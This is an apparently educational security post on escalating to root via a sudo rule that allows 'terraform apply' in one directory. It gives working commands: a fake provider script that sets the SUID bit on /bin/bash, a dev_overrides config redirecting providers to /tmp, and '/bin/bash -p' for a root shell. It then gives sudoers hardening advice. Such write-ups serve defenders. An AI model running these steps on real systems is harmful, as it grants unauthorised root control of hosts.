Privilege Escalation Abusing sudo with Terraform ποΈ
When a user is allowed to run terraform as root via sudo over a single directory, it looks like a harmless, tightly scoped permission. But Terraform lets you override where it installs its own providers from, and that’s a direct path to a root shell.
π Scenario:
An unprivileged user has the following entry in sudo -l:
User sushil may run the following commands on example:
(root) /usr/bin/terraform -chdir=/opt/examples apply
At first glance, they can only run Terraform as root over one specific directory (/opt/examples). But environment variables aren’t reset (!env_reset) and PATH can be modified, which opens the door to controlling where Terraform loads its providers from.
π‘ Step 1 β Identify the provider
Reading the .tf files in the authorized directory reveals which provider Terraform is using:
cat /opt/examples/*.tf
π‘ Step 2 β Create a malicious provider
We create a script that, when executed, sets the SUID bit on /bin/bash:
cat > /tmp/terraform-provider-examples << 'PROVEOF'
#!/bin/bash
chmod +s /bin/bash
PROVEOF
chmod +x /tmp/terraform-provider-examples
π‘ Step 3 β Redirect provider installation
Terraform allows overriding where it installs providers from (dev_overrides). We point that provider to our script:
cat > /tmp/terraform.rc << 'RCEOF'
provider_installation {
dev_overrides {
"<provider-name>" = "/tmp"
}
direct {}
}
RCEOF
export TF_CLI_CONFIG_FILE=/tmp/terraform.rc
π‘ Step 4 β Run Terraform as root
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform runs our script instead of the real provider, and /bin/bash ends up with the SUID bit set.
π‘ Step 5 β Get a root shell
/bin/bash -p
π« What went wrong here?
Granting sudo over a tool as flexible as terraform β capable of running arbitrary code through its providers β is nearly equivalent to full sudo, even when scoped to a single directory.
β Best practices:
-
Avoid granting
sudoover infrastructure-as-code tools (Terraform, Ansible, etc.) unless strictly necessary. -
If unavoidable, also restrict environment variables (
env_reset,secure_path) soPATHand external config files can't be manipulated. -
Periodically review
/etc/sudoersand your systems' sudo policies.
π The attack surface of sudo isn't just "which binary", it's also "what that binary can do under the hood".
